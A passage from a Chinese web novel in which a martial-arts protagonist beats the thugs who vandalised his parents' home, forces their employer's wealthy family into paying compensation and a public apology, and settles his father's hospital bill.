一个,都跑不了!
他闭上眼睛,尝试着驱动那刚刚获得的【追踪标记】技能。冥冥之中,他仿佛能感觉到,在遥远的家乡方向,有几个模糊而充满恶意气息的“光点”,正在快速移动,其中一个……似乎正朝着他所在的城市方向而来?
是回来复命的打手?
很好。
王大头的嘴角,勾起一抹冰冷、残酷,宛如死神微笑的弧度。
他正愁,该去哪里找到这些藏头露尾的老鼠。
第26章:连夜奔袭,雷霆之怒!
旅馆房间内,杀意几乎凝成实质。
王大头站在窗前,背影在昏暗灯光下如同绷紧的弓弦。脑海中,那【追踪标记】技能所感应到的几个充满恶意的光点,如同黑夜中的磷火,格外刺眼。其中一个,正沿着通往老家的国道快速移动,而另外几个……竟然还停留在他家老屋附近!他们竟然还没走?还是在继续作恶?
滔天的怒火与冰冷的杀意在他胸中交织冲撞,几乎要破膛而出!他不能再等一秒!
没有任何犹豫,他猛地转身,一把抓起那个装着二十万现金的旧帆布包,身形如电,直接撞开房门,冲了出去!走廊里空无一人,只有他急促的脚步声在回荡。
下楼,冲出旅馆,夜风带着凉意吹拂在他脸上,却无法冷却他心头沸腾的岩浆。他站在路边,目光锐利如鹰隼,扫视着稀稀拉拉的车流。
“嘎吱——!”
一辆略显破旧的出租车被他强行拦下。司机是个四十多岁、面相憨厚的中年男人,刚想抱怨一句,但对上王大头那双在夜色中泛着骇人红光的眼睛,以及那浑身散发出的、如同实质般的冰冷气息,到嘴边的话瞬间咽了回去,只觉得一股寒气从脚底升起,下意识地缩了缩脖子。
“去这个地址,清水县王家村!用你最快的速度!钱不是问题!”王大头拉开车门,一股脑坐进后座,将帆布包扔在身旁,声音沙哑而急促,带着一种不容置疑的命令口吻。他直接报出了老家的具体村名。
司机透过车内后视镜,看到后排那个年轻人虽然衣着普通,但眼神可怕,气势逼人,尤其是随手扔在座位上的那个鼓鼓囊囊的旧帆布包,拉链没完全拉好,隐约能看到里面一沓沓红色的钞票边缘。他心头一跳,知道这恐怕不是普通人,也不敢多问,连忙点头:“好,好嘞!王家村我知道,就是有点远,走高速的话……”
“就走高速!所有费用我出!超速罚款也算我的!”王大头打断他,语气斩钉截铁,“我只要快!”
“明白!”司机不再废话,猛地一踩油门,老旧出租车发出一声沉闷的嘶吼,如同脱缰的野马,迅速汇入车流,朝着城外高速公路的方向疾驰而去。
车内,气氛压抑得让人窒息。王大头闭着眼睛,看似在养神,实则全部心神都沉浸在对【追踪标记】的感知上。那几个停留在老屋附近的光点,恶意依旧浓郁,甚至……还在移动?他们想干什么?
他体内的内力以前所未有的速度自行运转,混元桩的根基让他勉强保持着理智的堤坝,但那股毁灭一切的冲动,如同被困在火山下的熔岩,随时可能爆发。他放在膝盖上的双手,紧紧握拳,指甲几乎要嵌进掌心肉里。
出租车在夜色中飞驰,窗外的城市灯火迅速后退,最终被无边的黑暗和偶尔掠过的村镇零星光芒所取代。司机显然也被王大头那无形的压力所影响,将车开得又快又稳,几乎达到了这辆老车的极限。
时间一分一秒地过去,每一秒对王大头而言都是煎熬。
终于,在接近凌晨时分,出租车拐下了高速,驶入了通往王家村的崎岖乡道。周围的景物变得熟悉起来,熟悉的田野,熟悉的山峦轮廓,在朦胧的月色下静静沉睡。
而脑海中,那代表恶意的光点,也越来越清晰!他们,果然还在!
“就在前面村口停下!”王大头突然开口,声音冰冷。
司机如蒙大赦,连忙在村口一棵大槐树下踩了刹车。还没等他说话,几张百元大钞已经塞到了他手里。
“不用找了。今晚的事,忘掉。”王大头丢下这句话,拎起帆布包,如同鬼魅般下了车,身影一晃,便融入了村道的阴影之中,速度快得让司机以为是眼花了。
司机看着手里那几张钞票,又看了看空荡荡的村口,咽了口唾沫,不敢多待,赶紧调头,一溜烟地开走了。
王大头没有走大路,他凭借着对家乡地形的无比熟悉,以及【追踪标记】的精准指引,如同暗夜中的猎豹,在田埂、屋舍的阴影间急速穿行,没有发出丝毫声响。他的心跳平稳,但眼神中的杀意,却越来越盛。
越来越近……他已经能听到自家老屋方向传来的、刻意压低的嚣张
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叫骂声,以及……玻璃被砸碎的刺耳声响!还有油漆桶滚动的模糊声音!
他们竟然还在砸!还在泼漆!
父母呢?邻居王婶说父亲伤了腰,他们现在在哪里?有没有受到进一步的伤害?
这些念头如同毒蛇般啃噬着他的心!
几个起落,他如同没有重量的幽灵,悄无声息地翻过邻居家的矮墙,落在了自家院墙的阴影下。他微微探出头。
月光下,自家那熟悉的院门前,一片狼藉!原本干净的水泥地上被泼满了猩红刺眼的油漆,写满了“欠债还钱”、“**”等不堪入目的污言秽语。院门的玻璃窗被砸得粉碎,碎片散落一地。三四个穿着流里流气、手持棒球棍和油漆桶的混混,正骂骂咧咧地,对着院门和墙壁进行着最后的“加工”。一个领头模样的黄毛,嘴里叼着烟,正指挥着:“动作快点!妈的,那老不死的刚才还敢报警?泼完这点,把门给他卸了!看他们还敢不敢……”
黄毛的话戛然而止。
因为他眼角的余光,似乎瞥见,在院墙角落那片最浓重的阴影里,不知何时,多了一个人。
一个如同从九幽地狱中走出来的身影。
那人静静地站在那里,没有任何动作,却带来一股几乎让空气冻结的冰冷杀意。月光勉强勾勒出他模糊的轮廓,看不清面容,只能看到一双在黑暗中亮得吓人、如同嗜血猛兽般的眼睛,正死死地盯着他们。
所有混混的动作都僵住了,一股莫名的寒意从脊椎骨窜起,让他们汗**倒竖!
“谁?!他妈装神弄鬼!”黄毛强自镇定,色厉内荏地吼道,举起了手中的棒球棍。
阴影中,那个身影动了。他缓缓向前迈出一步,走出了阴影,月光照亮了他那张年轻却布满寒霜的脸,以及那双燃烧着熊熊怒火的眼眸。
他目光扫过一片狼藉的院落,扫过那些猩红的污秽字迹,最终,落在了那领头的黄毛脸上。
王大头的声音,如同万载寒冰,在这寂静的乡村夜色中,清晰地传入每一个混混的耳中:
“你们,找死?”
第27章:一人横扫,护我家园!
月色凄冷,映照着满院狼藉。猩红的油漆如同扭曲的毒蛇,爬满了斑驳的墙壁和冰冷的地面,那些不堪入目的污言秽语,像一把把淬毒的**,狠狠扎在王大头的心上。破碎的玻璃碴子散落四处,在月光下反射着寒光,如同他此刻眼中凝聚的冰霜。空气中弥漫着刺鼻的油漆味、淡淡的血腥味,以及……一种名为“毁灭”的气息。
“找……找你妈!”黄毛的嘶吼打破了死寂,更多的是一种被极致恐惧逼出的癫狂!他必须用声音来壮胆,来驱散那如同实质般包裹着他的冰冷杀意!他双眼赤红,肾上腺素飙升,抡起手中的棒球棍,使出吃奶的力气,带着一股能将人颅骨敲碎的恶风,朝着王大头的太阳穴就狠狠砸了过来!“给老子弄死他!废了他!”
他身后的三个混混也被这气氛感染,或者说被黄毛的疯狂所带动,暂时压下了心底不断滋生的寒意。他们互相对视一眼,发出野兽般的低吼,纷纷举起手中的钢管和木棍,从不同方向,叫嚣着围了上来!一时间,棍影呼啸,形成了一张危险的包围网,要将中间那个孤零零的身影彻底吞噬!
面对这前后左右、几乎避无可避的**,王大头动了!
他没有选择后退,没有寻找掩体,甚至没有做出任何防御姿态。他只是迎着那最先到来、也是最致命的棒球棍,直接踏前了一步!
“咚!”
这一步踏出,声音沉闷,竟让地面微微一颤!仿佛不是血肉之躯在移动,而是一尊沉重的铁佛在位移!这正是八极拳步法中的“闯步”,基础中的基础,此刻在他磅礴内力的灌注下,却显露出撼山震岳的雏形!脚下的碎石和玻璃碴被这股力量震得微微跳起。
这一步,不仅躲开了侧面袭来的一根钢管,更是瞬间拉近了他与黄毛的距离,闯入了对方攻击圈的内围!
在棒球棍携着千钧之力,即将在他头顶开花结果的刹那——
王大头的左手动了!快得超出了肉眼捕捉的极限,如同黑暗中探出的鬼爪,后发先至,精准无比地、一把抓住了那呼啸而下的棍身!五指如铁钳,骤然合拢!
“啪!”
一声清脆却令人心悸的爆响!那不是骨头断裂的声音,而是力量与力量最野蛮、最直接的碰撞声!
那势大力沉、足以将砖头敲碎的挥击,竟被他单掌稳稳抓住,定格在半空!棍身传递过来的巨大动能,如同泥牛入海,消失得无影无踪!王大头的手臂甚至没有一丝晃动,仿佛砸中的不是血肉之躯,而是深深扎根于大地的铁铸雕像!
黄毛脸上的疯狂瞬间凝固,取而代之的是极致的惊骇与难以置信!他感觉自己砸中的不是一只手,而是一块千锤百炼的精钢!一股凶猛霸道的反震力顺着棍身传来,震得他整条右臂瞬间酸麻剧痛,虎口崩裂,鲜血汩汩而出,差点让他直接脱手!
“你……!”他刚吐出一个字。
王大头抓住棍身的左手,猛地一拧!一拽!动作简洁、粗暴,没有丝毫花哨,却蕴含着摧枯拉朽的力量!
“咔嚓——嚓!”
令人头皮发麻的骨裂声接连响起,如同干枯的树枝被硬生生折断!黄毛的手腕以一个极其诡异的角度扭曲、变形,白色的骨茬甚至刺破了皮肉,暴露在冰冷的空气中!
“啊啊啊啊——!我的手!我的手啊!”黄毛发出了撕心裂肺的惨嚎,剧痛瞬间淹没了他的神经,整个人如同被抽掉了骨头,瘫软下去,却又因为手腕还被王大头抓着,以一种扭曲的姿势吊着。
棒球棍易主!
王大头夺过棍子,甚至没有去看一眼那哀嚎的黄毛。他的感知如同无形的蛛网,笼罩着整个战场。
左侧,一根钢管带着风声,直扫他的腰肋!
王大头夺棍的右手顺势就是一个毫无花哨、却凝聚着恐怖力道的反手横扫!棍影如黑色的闪电!
“嘭!!”
“咔嚓!咔嚓!咔嚓!”
一连串密集如爆豆的骨裂声响起!那偷袭的混混,手中的钢管直接被扫飞,棍身去势不减,狠狠砸在他的肋部!至少三根肋骨应声而断!他甚至来不及发出完整的惨叫,整个人就像是被高速行驶的卡车侧面撞上,双脚离地,侧飞出去,“轰”地一声重重撞在斑驳的院墙上,震得墙灰簌簌落下。他像一滩烂泥般滑落在地,口中喷出的鲜血在墙上画出一道刺目的痕迹,直接昏死过去。
与此同时,正前方另一个混混,趁着王大头挥棍的间隙,面目狰狞地举着木棍,朝着他的面门捅来!
王大头的右脚如同蛰伏已久的巨**,骤然弹起!一记迅猛绝伦、力道万钧的侧踹,后发先至!
“噗——!”
一声沉闷如击败革的巨响!这一脚,结结实实地印在了那混混的胸膛之上!
那混混前冲的势头戛然而止,眼珠瞬间暴凸出来,充满了血丝。他清晰地听到了自己胸骨碎裂的可怕声响,一股无法形容的巨力透体而入,五脏六腑仿佛都移了位!他连一声哼唧都没能发出,整个人如同断了线的风筝,倒飞出去四五米远,重重摔在满是碎石和玻璃渣的地上,又翻滚了几圈才停下,胸口明显凹陷下去一大块,直接失去了意识,只有出的气没有进的气。
最后一个从背后摸上来,举着钢管的混混,刚刚扬起手臂,就看到这如同魔神降世、瞬息间以最狂暴的方式废掉三人的恐怖场景。他所有的勇气和凶戾在刹那间被彻底碾碎!动作彻底僵在半空,大脑一片空白,只有无边的恐惧如同冰水般浇遍全身!裤裆一热,一股腥臊的液体不受控制地涌出,顺着裤腿流下,滴落在冰冷的地面上。
王大头甚至没有回头。
他握着棒球棍的右手,只是随意地、看似轻飘飘地向后一捅!
棍尾如同猛虎出洞,精准无比地戳在那混混腹部柔软的气海穴上!一股阴柔却极具穿透力的暗劲瞬间透入!
“呃……嗬嗬……”那混混喉咙里发出被扼住般的怪异声响,眼珠瞪得几乎要掉出眼眶,扬起的钢管“哐当”一声掉在地上。他双手死死地捂住腹部,感觉仿佛有一根烧红的铁棍在肚子里搅动,剧痛让他无法呼吸,无法叫喊,整个人像一只被扔进沸水的大虾,蜷缩着倒地,身体
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剧烈地抽搐着,只剩下倒吸冷气的份,口水混合着白沫从嘴角流出。
从出手到结束,不过短短两三息的时间!
四个手持凶器、穷凶极恶的混混,全部倒地!非死即残!再无一丝威胁!
整个过程,快、准、狠!没有一丝多余的动作,充满了暴力美学的极致展现,更像是一场单方面的、无情碾压的处刑!
月光依旧清冷,照在王大头那张年轻却如同覆盖着万年寒冰的脸上。他随手扔掉了那根沾着些许血迹和油漆的棒球棍,棍子落在碎石上,发出“哐当”的轻响。
他迈开脚步,朝着那个唯一还清醒着,却承受着断腕剧痛和极致恐惧的黄毛走去。他的脚步声很轻,很稳,但在黄毛耳中,却比地狱恶鬼的嘶嚎还要恐怖,每一步都如同重锤,狠狠敲击在他濒临崩溃的心脏上!
“别……别过来!你……你是魔鬼!你别过来啊!”黄毛涕泪横流,脸上混合着汗水、鼻涕、鲜血和泥土,丑陋而肮脏。他抱着那扭曲变形、剧痛钻心的断腕,用尽全身力气,蹬着双腿,拼命地向后蹭着,想要远离这个仿佛从尸山血海中走出来的杀神。地上的碎石和玻璃碴划破了他的裤子和皮肉,他却毫无所觉,只有求生的本能驱使着他后退。“大哥……大爷!祖宗!我错了!我真的知道错了!是……是别人花钱雇我们来的!不关我们的事啊!我们就是拿钱办事的狗!您饶了我!饶了我这条狗命吧!”
王大头走到他面前,停下。高大的身影挡住了月光,投下的阴影将黄毛彻底笼罩。他居高临下地俯视着,那眼神,平静无波,深邃如同寒潭,里面没有任何人类的情绪,只有一种看待蝼蚁、看待垃圾般的漠然。
“谁让你们来的?”他的声音依旧冰冷,没有任何情绪起伏,却带着一种让人灵魂冻结的威严。
“是……是陈少!是市里的陈少陈浩!”黄毛为了活命,再也顾不得什么江湖道义,如同竹筒倒豆子般,声嘶力竭地全盘托出,“他给了我们五万块钱!让我们来清水县王家村,找一户姓王的人家,狠狠教训一顿!把家里能砸的都砸了,用红漆写上骂人的话!还说……还说只要不弄出人命,随便我们怎么搞!最好能让那家的老不……老两口躺上个把月!事成之后,还有五万!他……他现在应该就在市里他家的别墅等我们消息!我说的都是真的!一句假话都没有啊!大爷!”
王大头眼中寒光暴涨,如同两道冰冷的闪电划破夜空!果然是他!陈浩!你竟敢真的将黑手伸向我父母!竟敢用如此下作恶毒的手段!
他抬起脚,没有动用丝毫内力,仅仅凭借身体纯粹的力量,狠狠地踩在黄毛那张因极度恐惧而扭曲变形的脸上,将他的脑袋死死地碾在冰冷粗糙、沾满粘稠油漆和尘土的地面上!
“啊——!”黄毛发出痛苦而绝望的呜咽,感觉自己的颧骨都要被踩碎了。
王大头脚底微微用力,声音如同来自九幽深渊,带着裁决生死的冰冷与威严,一字一句地砸进黄毛的耳膜:
“说,陈少现在,具体在哪?“”
第28章:诛心之计,彻底了断!
黄毛的脸被粗糙的地面和王大头的鞋底摩擦着,火辣辣的疼,混合着油漆刺鼻的味道和血腥味,几乎让他窒息。他感觉自己的头骨都要被踩碎了,死亡的阴影从未如此清晰。
“我……我说!我说!”他含糊不清地、用尽全身力气喊道,生怕晚上一秒,脑袋就会像西瓜一样爆开,“陈少……陈少他平时……平时要么在自己市中心的公寓,要么……要么就在他家的别墅!他今晚……今晚应该在别墅!他……他之前打电话问我们……问我们事情办得怎么样……还说……还说等我们回去……有……有重赏……”
重赏?王大头嘴角勾起一抹残酷的冷笑。只怕是等着灭口吧?像陈少这种纨绔,做事岂会留下这么明显的把柄?
他缓缓抬起脚。
黄毛如同濒死的鱼,大口大口地喘着粗气,脸上混合着泥土、油漆和鲜血,狼狈不堪,眼神里只剩下劫后余生的恐惧。
王大头没有杀他。**,是最后的手段,而且会带来无穷的麻烦,尤其是在老家,众目睽睽之下(虽然邻居可能不敢出来,但肯定有人在暗中看着)。他要的,不是简单的泄愤,而是彻底了断这个麻烦,并且,让陈少付出远比肉体痛苦更惨重的代价!
他蹲下身,从那个旧帆布包里,居然掏出了一个小型的、带有录像功能的廉价智能手机(这是他之前为了随时查看武道视频和记录自己练拳情况买的备用机),以及一支笔和一个小本子。
他打开手机的录像功能,冰冷的镜头对准了瘫软在地的黄毛。
“把你刚才说的,陈少如何指使你们,来我家打砸、恐吓、伤人的经过,原原本本,对着镜头再说一遍。记住,要有细节,时间,地点,金额,陈少说过的话,一字不漏。”王大头的声音不带丝毫感情,“说错一个字,或者有所隐瞒,我不介意让你和他们一样。”他指了指旁边那几个昏迷不醒、骨断筋折的混混。
黄毛看着那黑洞洞的镜头,又看了看王大头那毫无波动的眼神,浑身一颤。他知道,这视频一旦录下,就等于把陈少卖得干干净净,自己也完了。但不说,现在立刻就要完蛋!他毫不怀疑眼前这个煞星会毫不犹豫地废了他!
在绝对的恐惧和求生欲面前,所谓的江湖义气脆弱得不堪一击。
“我……我说!我都说!”黄毛带着哭腔,面对着镜头,结结巴巴,但还算清晰地将陈少如何联系他们,如何支付定金,如何下达指令,要求他们打砸、泼漆、恐吓,甚至暗示可以“适当”伤人的过程,一五一十地全部说了出来,连陈少在电话里那嚣张的“给我往死里整,出了事我兜着”的原话都复述了出来。
录完视频,王大头检查了一遍,确认无误后保存。然后,他又拿出那个小本子,翻到空白页,用笔快速写下了一份“赔偿协议”。
协议内容简单直接:兹有陈某(陈少)指使社会闲散人员XXX(黄毛真名)等,于X年X月X日晚,对王大头父母住所进行非法打砸、恐吓,致其父受伤,财产受损。经协商(?),由指使者陈某一次性赔偿受害人王大头一家医疗费、精神损失费、财产损失费等共计人民币……王大头笔尖顿了顿,写下一个数字:五百万元整。并要求限期三日之内支付。
“签字,按手印。”王大头将协议和笔扔到黄毛面前。
黄毛看着那高达五百万的赔偿金额,眼睛都直了,嘴唇哆嗦着:“这……这……”
“嗯?”王大头只是一个冰冷的眼神扫过去。
黄毛吓得一哆嗦,再不敢犹豫,用没断的左手,歪歪扭扭地签下了自己的名字,然后又被王大头抓着那只好手,在名字上摁了一个鲜红的血手印(用的是他鼻子流出的血)。
做完这一切,王大头收起手机和协议,站起身。他看了一眼一片狼藉的家门,眼中闪过一丝痛楚,但更多的是决绝。
他没有先去查看父母(他知道此刻父母肯定被邻居照顾着,而且他此刻满身煞气,不适合去见受惊的父母),而是直接转身,再次融入夜色。
他要去市里,去陈家的别墅。
……
天色蒙蒙亮时,王大头已经站在了位于市郊富人区,一栋气派非凡、带着独立花园的欧式别墅大门外。这里是陈少家主要居住的地方之一。
他没有按门铃,也没有强行闯入。而是运转内力,对着别墅主体,沉声低喝,声音如同滚雷,清晰地传入了别墅的每一个角落:
“陈先生,陈夫人!请出来一见!有关令公子陈某的大事相商!”
声音不高,却蕴含着内力,带着一种不容置疑的穿透力。
很快,别墅的灯陆续亮起。片刻后,大门打开,首先出来的是那个之前跟在陈少身边的管家福伯,他身后跟着两个穿着黑色西装、体型健硕、眼神锐利的保镖,显然是听到了动静。
福伯看到孤身一人站在门外、衣着普通却气势惊人的王大头,瞳孔微微一缩,脸上却不动声色:“这位先生,请问您是哪位?这么早来访,有何贵干?我家老爷和夫人尚未起身。”
“我叫王大头。”王大头直接报出名字,目光平静地看着福伯,“或者,你们更熟悉‘王腾’这个名字。我为什么来,令公子心里最清楚。如果不想事情闹到不可收拾,让陈先生和陈夫人亲自出来说话。
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”
“王腾?!”福伯脸色终于变了!他当然知道这个名字,知道昨晚拳场发生的一切,更隐约知道少爷后续可能做了些不理智的事情。但他没想到,这个“王腾”竟然敢直接找上门来!而且是在这个时间!
就在这时,别墅内传来一阵急促的脚步声和一个带着睡意与不悦的中年男声:“福伯,外面吵什么?谁这么大清早的来**?”
只见一个穿着睡袍、身材微胖、面容与陈少有几分相似,但眉眼间更多了几分商海沉浮积淀下的威严与精明的中年男人,在一个同样穿着睡袍、保养得宜、面带忧色的中年美妇陪伴下,走了出来。正是陈少的父亲陈建明和母亲周婉。
陈建明看到门外陌生的王大头,以及他那一身与周围奢华环境格格不入的打扮,眉头紧皱:“你是谁?”
王大头没有废话,直接将从黄毛那里得到的“证据”拿了出来。他先是点开了手机里的视频,将黄毛那带着哭腔的指证播放了出来。
寂静的清晨,黄毛的声音格外清晰:
“……是市里的陈少!他给了我们钱,让我们来给你家一个教训!说只要不弄出人命,随便我们怎么搞!……他还说等我们回去有重赏……”
视频播放着,陈建明和周婉的脸色,从最初的不耐烦和恼怒,逐渐变成了惊愕,然后是难以置信,最后化为一片铁青和苍白!周婉更是用手捂住了嘴,眼中充满了惊恐。
视频播完,王大头又将那份签着黄毛名字、按着血手印的五百万元赔偿协议,展现在他们面前。
“这……这不可能!这是诬陷!我儿子怎么会……”周婉失声叫道,声音颤抖。
陈建明到底是经历过大风浪的,他死死地盯着王大头,眼神锐利如刀,试图从他脸上找出破绽,但只看到一片冰冷的平静。“年轻人,你这是什么意思?凭一段来历不明的视频,和一张不知所谓的纸,就想敲诈我陈家五百万?你知道诬陷和敲诈是什么罪名吗?”
“罪名?”王大头笑了,笑容里没有丝毫温度,他收起了手机和协议,目光直视陈建明,声音清晰而冰冷:
“陈先生,陈夫人,子不教,父之过。”
“令公子买凶伤人,骚扰我年迈父母,打砸我家宅,证据确凿。你们说,这件事,该怎么办?”
他站在那里,孤身一人,面对着一个本地颇有势力的富豪家庭,却仿佛掌握着绝对的主动。是报警,让陈少身败名裂,甚至面临刑责?还是私了,付出巨大的金钱代价并保证永不再犯?
选择权,看似交给了陈家,实则,已被王大头用这种“诛心”的方式,牢牢握在了手中。
第29章:**的赔偿与社死
清晨的寒意尚未完全褪去,陈家别墅门前的气氛却比严冬更冷。
王大头那句“子不教,父之过”,如同无形的鞭子,狠狠抽在陈建明和周婉的脸上,尤其是陈建明。
他在商海沉浮二十载,什么风浪没见过?威胁、敲诈、竞争对手的阴招,他应对过不少。但像今天这样,被人拿着如此确凿、如此低劣(指他儿子行为)的把柄,直接堵在家门口,还是破天荒第一次!而且对方还是一个他平时根本不会多看一眼的、看似普通的年轻人。
陈建明的脸色铁青,胸口剧烈起伏,那是极致的愤怒与**交织的结果。他死死盯着王大头,眼神锐利如刀,试图从他脸上找到一丝心虚、一丝慌乱,但他只看到一片深不见底的平静,以及平静之下那令人心悸的冰冷。
周婉已经慌了神,她抓着丈夫的胳膊,声音带着哭腔:“建明,这……这肯定是误会!小浩他……他不会做这种事的!一定是有人陷害他!”她转向王大头,语气带着一丝哀求,“这位……王先生是吧?这里面一定有误会,我们可以坐下来好好谈,多少钱我们可以补偿你,但请你不要毁了我儿子……”
“误会?”王大头嘴角勾起一抹讥诮的弧度,晃了晃手中的手机,“视频里的人,亲口指认,细节、时间、地点、金额,一清二楚。需要我现在就报警,让警察来鉴定一下这是不是误会吗?或者,我把这段视频,还有贵公子在拳场输急了眼、派人骚扰我父母的‘光辉事迹’,一起发到网上去,让广大网友来评评理?标题我都想好了,‘本市著名企业家陈建明教子无方,纵子行凶,欺压平民’?”
“你敢!”陈建明厉声喝道,额角青筋暴起。他深知**的可怕,尤其是在这个信息**的时代。一旦事情闹大,不仅他儿子完了,他陈家的生意、声誉都将受到毁灭性打击!那些虎视眈眈的竞争对手,会像闻到血腥味的鲨鱼一样扑上来!
“我为什么不敢?”王大头目光平静地与他对视,没有丝毫退缩,“我一个光脚的不怕穿鞋的。我父母年迈,在家乡安分守己,却无端受此惊吓和伤害。我不过是为他们讨个公道。倒是陈先生你,家大业大,真的愿意为了一个不成器的儿子,赌上整个家族的未来吗?”
这话如同冰冷的锥子,狠狠刺中了陈建明最敏感、最脆弱的神经!他赌不起!陈家的产业,是他半生心血,绝不能毁在逆子手里!
福伯站在一旁,脸色凝重,他低声在陈建明耳边道:“老爷,此人……不简单。他拿出的证据,虽然来源……不光彩,但一旦公开,对少爷和集团确实极为不利。而且,他孤身前来,有恃无恐,恐怕……有所依仗。”他隐晦地提醒,能瞬间放倒四个持械混混并拿到如此证据的人,绝非常人。
陈建明深吸一口气,强行压下翻腾的怒火和**感。他是商人,最懂得权衡利弊。此刻,低头服软,付出代价,是唯一能将损失降到最低的选择。
“你想怎么样?”陈建明的声音沙哑,带着一丝不易察觉的疲惫和颓然。这句话问出口,意味着他已经在心理上放弃了抵抗。
王大头早有准备,语气清晰而冷漠:“三条。”
“第一,赔偿。精神损失费、医疗费、财产损失费,以及对我父母造成惊吓的补偿,共计五百万元。现金,现在就要。”他直接报出了之前写在协议上的数字。
“五百万?!你怎么不去抢!”周婉失声叫道,这个数字远超她的心理预期。
王大头看都没看她,只是盯着陈建明:“陈先生觉得,令公子的前途,和陈家的声誉,不值五百万?或者,你觉得警察和**,会判多少?”
陈建明嘴角抽搐了一下,咬牙道:“……好!福伯,去准备!”他挥了挥手,示意福伯去办。五百万虽然肉疼,但还在他可承受范围内。
福伯深深看了王大头一眼,转身快步走进别墅。
“第二,”王大头继续说道,语气更冷,“让你儿子陈浩,在他的所有社交媒体账号上,公开发布一封手写的道歉信!内容必须包括他指使他人骚扰、恐吓、打砸我父母住所的罪行,承认自己的错误,并向我和我的家人诚恳道歉!信的内容,由我过目确认后,才能发布!”
“什么?!这不可能!”周婉尖叫起来,脸色煞白,“你这是要毁了小浩!让他以后怎么见人?!”让她那个心高气傲的儿子,在朋友圈、微博那种地方,公开承认如此龌龊的事情,简直比杀了他还难受!这将是伴随他一生的污点!
“见人?”王大头冷笑,“在他做出那种事的时候,他就没想过别人怎么见他父母?没想过我父母以后在村里
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怎么见人?这只是让他体验一下,什么叫社死(社会性死亡)。要么他自己写,要么,我帮他‘写’——把视频直接发出去,效果可能更好。”
陈建明闭上眼睛,脸上肌肉剧烈抖动。这一条,比五百万更让他难以接受!这是把他陈家的脸面,放在地上踩!但他知道,对方抓住了他的死穴。不答应,后果更严重。
“……我……答应。”这三个字,几乎是从陈建明牙缝里挤出来的,充满了无尽的**。
“建明!”周婉还想说什么,被陈建明用严厉的眼神制止了。
“第三,”王大头说出了最后,也是他认为最关键的一条,“此事之后,送你儿子出国。五年内,不得以任何理由回国。我会‘关注’他的动向。如果让我发现他偷偷回来,或者再有任何针对我或我家人的小动作……”他没有说完,但那双骤然变得锐利如鹰隼的眼睛,已经说明了一切。
彻底驱逐!永绝后患!
陈建明身躯一震,猛地睁开眼睛,看向王大头。他没想到对方考虑得如此周全,如此狠绝!这是要彻底将威胁排除在外!
客厅内陷入一片死寂。只有周婉压抑的啜泣声。
良久,陈建明仿佛瞬间苍老了几岁,颓然地点了点头:“……好。我会尽快安排他去澳洲。”
这时,福伯提着一个沉重的黑色手提箱走了出来,递给陈建明。陈建明看都没看,直接推向王大头:“这里是五百万,你可以清点。”
王大头没有客气,打开手提箱,里面是码放得整整齐齐的百元大钞。他快速清点了一遍,确认无误,合上了箱子。
“道歉信呢?现在就让陈浩写。”王大头没有丝毫放松。
陈建明脸色难看,对福伯示意。福伯转身上楼,过了好一会儿,才带着一脸不情愿、睡眼惺忪却又带着戾气的陈少下来。陈少显然还不知道下面发生了什么,嘴里还不干不净地抱怨着:“福伯,干什么啊大清早的……爸,妈,这穷鬼怎么在这儿?!”他看到了王大头,眼神立刻变得怨毒起来。
“闭嘴!逆子!”陈建明猛地一拍桌子,怒喝道,“按照王先生说的,写道歉信!把你做的那些混账事,一五一十写清楚!手写!”
“什么?!让我给他写道歉信?做梦!”陈少如同被踩了尾巴的猫,跳了起来。
第30章:手术费到位,新征程
“不写,你就等着坐牢吧!或者,我打断你的腿,亲自送你去警察局!”陈建明是真的动了怒,眼神凶狠,吓得陈少一个哆嗦。他从未见过父亲对自己发这么大的火。
在陈建明的强压和王大头冰冷目光的注视下,陈少最终还是**地拿起了纸笔,歪歪扭扭地写下了一份道歉信,内容在王大头的监督下几经修改,最终形成了一份详细承认罪行、语气“恳切”的悔过书。
然后,在王大头的注视下,陈少脸色惨白、双手颤抖地,将这份道歉信拍照,发布在了他所有的社交媒体上,并且设置了公开可见。
可以想象,这条动态一旦被他的“好友”和关注者看到,会引起怎样的轩然大浪!他陈大少爷的“光辉形象”,彻底毁了!
做完这一切,陈少如同被抽空了所有力气,瘫坐在地上,眼神空洞,充满了绝望和怨毒,却不敢再看王大头一眼。
看着眼前这对权势滔天却不得不向自己低头的夫妇,看着那个曾经嚣张跋扈、如今却如同丧家之犬般的陈少,王大头心中那口积压已久的恶气,终于彻底宣泄而出!一股难以言喻的通达之感,流转全身,仿佛某种无形的束缚被打破了,念头前所未有的通达!
他提起装满现金的手提箱,不再多看这狼藉的一家人一眼,转身,迈着沉稳的步伐,走出了陈家别墅那气派的大门。
朝阳初升,金色的光芒洒在他的身上,将那旧外套都镀上了一层光辉。
没有片刻停歇,王大头直接打车来到了父亲所在的市中心医院。
清晨的医院走廊,已经忙碌起来,消毒水的味道弥漫在空气中。他先是去了一趟父亲的病房,隔着玻璃窗看了一眼。母亲正守在床边,父亲似乎睡着了,脸色依旧有些苍白,但呼吸平稳。他没有进去打扰,生怕自己身上还未散尽的冰冷气息影响到父母。
他转身,径直走向了住院部的缴费处。
缴费窗口前排着不长不短的队伍,人们脸上大多带着愁容和焦虑。王大头安静地排在后面,手中提着那个沉甸甸的黑色手提箱,与周围环境显得有些格格不入。
轮到他的时候,他将父亲的住院号递了进去。
“王建国是吧?欠费八万三千七百六十二元五角。今天需要续缴吗?”窗口后面的工作人员头也不抬,例行公事地问道。
“缴。”王大头言简意赅。他打开手提箱,没有理会周围瞬间投来的几道惊诧目光,开始一沓一沓地将里面崭新的百元大钞取出,通过窗口递进去。
一沓,两沓,三沓……
他先是数出了八万四千元,将之前的欠费一次性结清。然后,他略微停顿了一下,想到了后续的治疗、康复、营养,以及让父母以后能过得轻松点……
“再预存五十万。”他平静地说道,继续从箱子里拿出钞票。
“多……多少?”工作人员终于抬起了头,脸上写满了震惊,看着窗口外那一沓沓仿佛无穷无尽的钞票,又看了看王大头那年轻却异常沉稳的脸。
“预存五十万。”王大头重复了一遍,手上的动作没有停。他将五十万现金,加上之前结清欠费的八万多,总共近六十万巨款,一点点全部推进了窗口。
周围排队的人也都看呆了,窃窃私语声响起。
“我的天,这么多现金!”
“这小伙子是谁啊?这么有钱?”
“是哪个大老板家的吧?看着不像啊……”
王大头对周围的议论充耳不闻。他看着工作人员有些手忙脚乱地清点、录入系统,最后,一张崭新的、打印着“预缴金额:500,000.00元”的缴费凭证,从窗口递了出来。
他接过那张薄薄的纸,却感觉重若千钧。
上面清晰的数字,代表着父亲的生命得到了延续的保障,代表着压在他心头最沉重的那块巨石,终于被搬开了!为了这一天,他送过无数外卖,受过无数白眼,甚至在鬼门关前走过一遭……
